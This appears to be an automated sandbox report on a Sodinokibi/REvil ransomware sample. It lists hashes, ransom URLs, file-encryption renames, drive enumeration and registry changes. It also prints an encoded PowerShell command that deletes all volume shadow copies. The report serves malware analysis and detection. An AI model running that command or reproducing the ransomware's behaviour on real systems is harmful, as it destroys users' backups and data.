Analysis
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max time kernel
167s -
max time network
158s -
platform
windows10_x64 -
resource
win10-en-20211208 -
submitted
24-01-2022 01:58
Static task
static1
Behavioral task
behavioral1
Sample
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe
Resource
win7-en-20211208
Behavioral task
behavioral2
Sample
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe
Resource
win10-en-20211208
General
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Target
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe
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Size
164KB
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MD5
66063a21fdb1ee9f5b970049c299d939
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SHA1
b828c2ffc53f96c20496228c03805e83c085704c
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SHA256
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668
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SHA512
6e11df5bd7b78704247d69097a92e772c657d69e56ca84fc48f06b1e56cfcb5e932d30d814f84898250ed6df11c7954e28509a9146647ade29973a56bc1b99a4
Malware Config
Extracted
C:\se17anf6v_Wannadie.txt
sodinokibi
http://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd.onion/663EA51A8A5A554D
http://decryptor.top/663EA51A8A5A554D
Signatures
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Sodin,Sodinokibi,REvil
Ransomware with advanced anti-analysis and privilege escalation functionality.
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Modifies extensions of user files 5 IoCs
Ransomware generally changes the extension on encrypted files.
Processes:
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exedescription ioc process File renamed C:\Users\Admin\Pictures\DebugResolve.tif => \??\c:\users\admin\pictures\DebugResolve.tif.se17anf6v 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File renamed C:\Users\Admin\Pictures\LockResume.raw => \??\c:\users\admin\pictures\LockResume.raw.se17anf6v 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File renamed C:\Users\Admin\Pictures\RequestRestart.raw => \??\c:\users\admin\pictures\RequestRestart.raw.se17anf6v 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File renamed C:\Users\Admin\Pictures\RestartReset.tif => \??\c:\users\admin\pictures\RestartReset.tif.se17anf6v 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File renamed C:\Users\Admin\Pictures\UnblockRemove.tif => \??\c:\users\admin\pictures\UnblockRemove.tif.se17anf6v 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe -
Enumerates connected drives 3 TTPs 25 IoCs
Attempts to read the root path of hard drives other than the default C: drive.
Processes:
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exedescription ioc process File opened (read-only) \??\D: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\A: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\H: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\I: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\N: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\Q: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\T: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\W: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\L: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\V: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\X: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\Y: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\Z: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\B: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\F: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\G: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\J: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\K: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\O: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\S: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\E: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\M: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\P: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\R: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened (read-only) \??\U: 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe -
Drops file in Program Files directory 24 IoCs
Processes:
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exedescription ioc process File opened for modification \??\c:\program files\WatchStart.rle 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\NewRemove.3gp 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\UnprotectResize.vb 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\UnprotectSwitch.html 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\PingSelect.txt 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\SaveBlock.ADT 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\SkipOpen.mpg 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\WaitAdd.wmv 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File created \??\c:\program files (x86)\se17anf6v_Wannadie.txt 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\CheckpointSet.mpg 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\InvokeRestore.mht 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\RevokeDisable.wm 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File created \??\c:\program files\se17anf6v_Wannadie.txt 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\ConvertFromSave.mov 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\GrantProtect.mpeg3 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\GetUndo.cr2 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\InstallFind.mht 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\JoinResume.wps 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\OutConvert.xltx 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\ResolveOpen.mpg 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\ConfirmExport.js 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\ConvertFromConvertTo.mpeg 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\DismountStart.odp 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe File opened for modification \??\c:\program files\UnprotectHide.ppsm 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe -
Modifies data under HKEY_USERS 42 IoCs
Processes:
powershell.exedescription ioc process Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CTLs powershell.exe Set value (data) \REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\16\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000 powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates powershell.exe Key created \REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates powershell.exe -
Suspicious behavior: EnumeratesProcesses 15 IoCs
Processes:
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exepowershell.exepid process 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3192 powershell.exe 3192 powershell.exe 3192 powershell.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe -
Suspicious use of AdjustPrivilegeToken 4 IoCs
Processes:
powershell.exevssvc.exedescription pid process Token: SeDebugPrivilege 3192 powershell.exe Token: SeBackupPrivilege 1336 vssvc.exe Token: SeRestorePrivilege 1336 vssvc.exe Token: SeAuditPrivilege 1336 vssvc.exe -
Suspicious use of WriteProcessMemory 2 IoCs
Processes:
5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exedescription pid process target process PID 3620 wrote to memory of 3192 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe powershell.exe PID 3620 wrote to memory of 3192 3620 5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe powershell.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe"C:\Users\Admin\AppData\Local\Temp\5f69fa24f8d74e7f5d33840175eaaaa42cbb44e1137123e3b85695ec23ea6668.exe"1⤵
- Modifies extensions of user files
- Enumerates connected drives
- Drops file in Program Files directory
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:3620 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -e RwBlAHQALQBXAG0AaQBPAGIAagBlAGMAdAAgAFcAaQBuADMAMgBfAFMAaABhAGQAbwB3AGMAbwBwAHkAIAB8ACAARgBvAHIARQBhAGMAaAAtAE8AYgBqAGUAYwB0ACAAewAkAF8ALgBEAGUAbABlAHQAZQAoACkAOwB9AA==2⤵
- Modifies data under HKEY_USERS
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:3192
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C:\Windows\system32\wbem\unsecapp.exeC:\Windows\system32\wbem\unsecapp.exe -Embedding1⤵PID:4384
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C:\Windows\system32\vssvc.exeC:\Windows\system32\vssvc.exe1⤵
- Suspicious use of AdjustPrivilegeToken
PID:1336
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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memory/3192-127-0x0000018F3B410000-0x0000018F3B432000-memory.dmpFilesize
136KB
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memory/3192-130-0x0000018F23370000-0x0000018F3B490000-memory.dmpFilesize
385.1MB
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memory/3192-131-0x0000018F3B710000-0x0000018F3B786000-memory.dmpFilesize
472KB
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memory/3192-138-0x0000018F23370000-0x0000018F3B490000-memory.dmpFilesize
385.1MB
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memory/3620-117-0x00000000016F0000-0x00000000016FA000-memory.dmpFilesize
40KB
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memory/3620-118-0x0000000002FB0000-0x0000000002FD3000-memory.dmpFilesize
140KB
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memory/3620-119-0x0000000002FB0000-0x0000000002FD3000-memory.dmpFilesize
140KB
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memory/3620-120-0x0000000003230000-0x0000000003231000-memory.dmpFilesize
4KB
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memory/3620-121-0x0000000003240000-0x0000000003246000-memory.dmpFilesize
24KB